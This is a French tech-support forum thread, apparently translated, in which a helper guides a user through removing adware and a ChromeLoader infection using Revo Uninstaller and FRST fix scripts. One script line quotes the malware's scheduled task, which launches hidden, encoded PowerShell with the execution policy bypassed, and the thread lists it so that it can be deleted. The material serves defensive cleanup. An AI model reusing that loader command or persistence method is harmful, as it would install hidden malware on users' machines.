Powershell opens by itself

Did you manage to find the error?

The "Addition" report is incomplete.

Your PC is heavily infected, you need to be more careful and avoid clicking everywhere.

Do you have the Yandex browser installed?

Procedure to follow in the indicated order:

First uninstall the following software using RevoUninstaller in advanced scan mode:

- CleanMyPC
- Segurazo Realtime Protection Lite
- SSOption 
- Wondershare Helper Compact

Revo Uninstaller guide to read carefully.

Accept the uninstallation of the program you wish to uninstall, and if there is an error message stating that uninstallation is impossible, close the error message and continue the procedure.

Check "Advanced scan" and then click on "Scan".

Click on "Select all" and then on "Delete," if a second list appears do the same, then once everything is deleted click on "Finish," a restart may be requested.

Disinfection.

1- Open FRST as an administrator, do this by right-clicking on FRST and choosing Run as administrator
2 - Copy the entire script that is in the box below:

Start::
CreateRestorePoint:
CloseProcesses:
GroupPolicy: Restriction ?
HKLM\SOFTWARE\Policies\Mozilla\Firefox: Restriction 
HKLM\SOFTWARE\Policies\Google: Restriction 
HKLM-x32\...\Run: [Wondershare Helper Compact.exe] => C:\Program Files (x86)\Common Files\Wondershare\Wondershare Helper Compact\WSHelper.exe [2133728 2017-09-12] (Wondershare Technology Co.,Ltd -> Wondershare)
Task: {1C4A1181-1E34-490E-A191-39D3E6AA0FB2} - System32\Tasks\Opera scheduled Autoupdate 1588591720 => C:\Users\alexc\AppData\Local\Programs\Opera\launcher.exe --scheduledautoupdate $(Arg0) (No file)
Task: {2CCBA2E7-941D-4323-B415-272D7501A228} - System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-alexcognon@yahoo.fr => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe -mode=scheduled (No file)Task: {2CCBA2E7-941D-4323-B415-272D7501A228} - System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-alexcognon@yahoo.fr => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe -mode=scheduled (No file)
Task: {7E11B7E3-6BA9-4753-B443-CB4AC970CEFC} - System32\Tasks\AMDLinkUpdate => C:\Program Files\AMD\CIM\Bin64\InstallManagerApp.exe -AMDLinkUpdate (No file)
Task: {99423343-A9BE-485F-8348-8E1B4DC190C2} - System32\Tasks\ChromeLoader => cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAI (the data item has 4315 characters more). 
Edge HomeButtonPage: HKU\S-1-5-21-1722835910-503718021-2123007925-1001 -> hxxps://www.yandex.ru/?win=463&clid=2341035-18
Edge Extension: (No name) -> AutoFormFill_5ED10D46BD7E47DEB1F3685D2C0FCE08 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\AutoFormFill [not found]
Edge Extension: (No name) -> BookReader_B171F20233094AC88D05A8EF7B9763E8 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\BookViewer [not found]
Edge Extension: (No name) -> LearningTools_7706F933-971C-41D1-9899-8A026EB5D824 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\LearningTools [not found]
Edge Extension: (No name) -> PinJSAPI_EC01B57063BE468FAB6DB7EBFC3BF368 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\PinJSAPI [not found]
Edge DefaultSearchURL: Default -> hxxps://fr.search.yahoo.com/yhs/search?hspart=ner&hsimp=yhs-001&type=aee_84d015defd161c9282¶m1=ArFaIWJoNqArQGMVADwgQGR7B7NoN9InxrFbMmYsQGMVw7ofB6poNqAqAXFaIWQBvmE4ICILNopcGWUIvmFdICIVNVI4ISoVNVE4J6k4NVQ3vqYXNVBdJ6IWwVM3vCILNVJdESk8NUM9Jmk3vmk3vCILNFdbDSk8vFE9ImoVvFQ9ImIVwVA3vCoXwV5cGWUWvmFcJmoUNEA3vCILNFdcIaUXNEBcGqQANFdcFCk8NoM9JGYXwVM3vGYXvmo9ISoUwVw9JGYYvFJdISISNVJdJGYTvFI9I6IYwVVdJ6IVwVw4JaYVvmpdJCIVwVI9JaYUwVM9ISIVvFRbFCILNF9cIqUXNolcEqULNopcGWUIvmFbF6IYwVVcG6IXvFM4ICoWwVQ9I6k4vmpcFCIVwVw4IGUJvFI9J6ISNEM4JmoWwVM9I6k3wVNcFSIYwVQ3vmoVNEY4JaUIwVQ4JaQIwV5dJGYNvmE4ICILNFRbDqUDNEJcFaULvmE9GqUINolcJqUJNEQ3wCIWvFI4JmoVwVI4ISk4wVU4ISIWQGR7B6RoN9J8LWZ6MWZcMWZoNqAsQGMVvDIlC6MuNGouNasuwCYpC7EmyCYbxU1dNU1dNXFbMn0aC6AoxrFaIWVdOqZoNqAexbFaIUwkynIew6NoNpRcNXFbJpseyDF%3D¶m2=MGN9NqF6Matb&p={searchTerms}
Edge DefaultSearchKeyword: Default -> search by yahoo
FF Homepage: Mozilla\Firefox\Profiles\nahd6ha2.default -> hxxps://www.yandex.ru/?win=463&clid=2341035-18
FF SearchPlugin: C:\Users\alexc\AppData\Roaming\Mozilla\Firefox\Profiles\nahd6ha2.default\searchplugins\yandex.ru-20202315.xml [2020-11-15]
CHR Notifications: Default -> hxxps://app.slack.com; hxxps://aternos.org; hxxps://download-alert.com; hxxps://maviedechat.net; hxxps://p4.maranhesduve.club; hxxps://padlet.com; hxxps://personal-video.live; hxxps://qbqra.mybuzz.fun; hxxps://tvplusnewtab.com; hxxps://userscloud.com; hxxps://www.marmiton.org; hxxps://www.serials.ws; hxxps://www1a.debrahinton.pro; hxxps://www1a.ramirocampos.pro; hxxps://www51.zippyshare.com
CHR HomePage: Default -> hxxps://fr.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wnf_secureddownload_16_48_ssg02¶m1=1¶m2=f%3D1%26b%3Dchmm%26cc%3Dfr%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1QzutDtDtBtCyD0CyDyD0BtDtD0FtC0B0CyEtN0D0Tzu0StCyBzyyEtN1L2XzutAtFtByDtFtCtFyDtBtN1L1Czu1StN1L1G1B1V1N2Y1L1Qzu2StD0B0D0BtByC0EzztGyDtD0CzytG0CzyzztCtGtD0D0AyCtG0B0A0DtBtByBtB0AtAtDtC0C2QtN1M1F1B2Z1V1N2Y1L1Qzu2Szy0AyCzy0BtD0FyBtGtCtD0BtDtGyEtD0AyBtGzz0ByC0AtGtC0FtAtAzzyCtDtByBtA0AyB2QtN0A0LzuyE%26cr%3D1050113949%26a%3Dwnf_secureddownload_16_48_ssg02%26os_ver%3D6.1%26os%3DWindows%2B7%2BProfessional
CHR HKLM\...\Chrome\Extension: [bhoagceacaklimpcejjofabngcjkebfg]
CHR HKLM\...\Chrome\Extension: [nccfgpamboionigdpfjmijhlgmgdbael]
CHR HKU\S-1-5-21-1722835910-503718021-2123007925-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [bhoagceacaklimpcejjofabngcjkebfg]
CHR HKU\S-1-5-21-1722835910-503718021-2123007925-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [mjmpfdkmpojoeemjmfiddlhkkndcdpno]
CHR HKU\S-1-5-21-1722835910-503718021-2123007925-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [nccfgpamboionigdpfjmijhlgmgdbael]
CHR HKLM-x32\...\Chrome\Extension: [bhoagceacaklimpcejjofabngcjkebfg]
CHR HKLM-x32\...\Chrome\Extension: [eofcbnmajmjmplflapaojjnihcjkigck]
CHR HKLM-x32\...\Chrome\Extension: [gomekmidlodglbbmalcneegieacbdmki]
CHR HKLM-x32\...\Chrome\Extension: [nccfgpamboionigdpfjmijhlgmgdbael]
CHR HKLM-x32\...\Chrome\Extension: [ohhcpmplhhiiaoiddkfboafbhiknefdf]
2022-01-08 22:22 - 2022-01-08 22:22 - 000012830 _____ C:\WINDOWS\system32\Tasks\ChromeLoader
2022-01-08 15:58 - 2022-01-08 15:58 - 000108784 _____ C:\Users\alexc\AppData\Roaming\whw.exe
2022-01-08 15:58 - 2022-01-08 15:58 - 000012288 _____ C:\Users\alexc\AppData\Roaming\e3dwefw.exe
S2 InnocentKalaga; C:\Program Files (x86)\InnocentKalaga\InnocentKalaga.exe [5948912 2018-04-05] (Apps Delivered Ltd -> Innocent Kalaga) [Unsigned file]
YAN DefaultSearchURL: Default -> hxxps://browser-resources.s3.yandex.net/old/get/browser/launcher_images/windows/yandex/pochta_win.targetsize-256.png
YAN Extension: (Я.Почта) - C:\Users\alexc\AppData\Local\Yandex\YandexBrowser\User Data\Default\Extensions\bcadigmkecmhhknameopgaidphameinh [2020-11-15]
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = 
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = 
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = 
HKLM\Software\Microsoft\Internet Explorer\Main,Local Page = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Local Page = 
HKU\S-1-5-21-1722835910-503718021-2123007925-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://www.yandex.ru/?win=463&clid=2341035-18
SearchScopes: HKU\S-1-5-21-1722835910-503718021-2123007925-1001 -> DefaultScope b5eaa8b0-276f-11eb-bd76-e0d55e69b8bf URL = hxxps://yandex.ru/search/?win=463&clid=2341036-18&text={searchTerms}
SearchScopes: HKU\S-1-5-21-1722835910-503718021-2123007925-1001 -> b5eaa8b0-276f-11eb-bd76-e0d55e69b8bf URL = hxxps://yandex.ru/search/?win=463&clid=2341036-18&text={searchTerms}
cmd: netsh advfirewall reset
Hosts:
EmptyTemp:
End::

3- Once the script is copied, click on Fix, FRST will automatically take the script from the clipboard.



Allow the correction to proceed, once it is finished you will be asked to restart your PC, do it as soon as you are prompted, see below.

IMPORTANT once your computer has restarted:

4- You will have a Fixlog file on your desktop, then send these reports to https://www.cjoint.com/ see this guide then provide the link generated by Cjoint in your next message.

IMPORTANT:

5- Reset Google Chrome with THIS SOFTWARE.
Then:

6- CHECK AND TELL ME IF YOUR PROBLEM IS STILL PRESENT

FOR INFORMATION:

Your version of Windows 10 is not up to date, to check it go to this page click on Update Now, this will start the download of Microsoft's tool, just open it and it will allow you to update Windows 10 to the latest version and let you know if it is compatible with your PC, be aware that this update takes some time, if you have a laptop, plug it into the power supply, as it would be a shame to run out of battery before the update is complete.

In this case, once the previous procedure is completed, to remove Yandex, run a new FRST correction with this script:

Start::
CreateRestorePoint:
CloseProcesses:
C:\Users\alexc\AppData\Local\Yandex
YAN Profile: C:\Users\alexc\AppData\Local\Yandex\YandexBrowser\User Data\Default [2020-11-15]
YAN DefaultSearchURL: Default -> hxxps://browser-resources.s3.yandex.net/old/get/browser/launcher_images/windows/yandex/pochta_win.targetsize-256.png
YAN Extension: (Я.Почта) - C:\Users\alexc\AppData\Local\Yandex\YandexBrowser\User Data\Default\Extensions\bcadigmkecmhhknameopgaidphameinh [2020-11-15]
End::

No, actually it's fine, it just ended.

Here is the fixlog link:
https://www.cjoint.com/c/LAmvC1SaIeb

Is it okay? Is your computer doing better?

OK, the infection being removed, I will mark the subject as resolved.
You can uninstall FRST, rename the FRST file you downloaded to uninstall, then once the file is renamed, open it, and the uninstallation will occur automatically through a restart of the PC.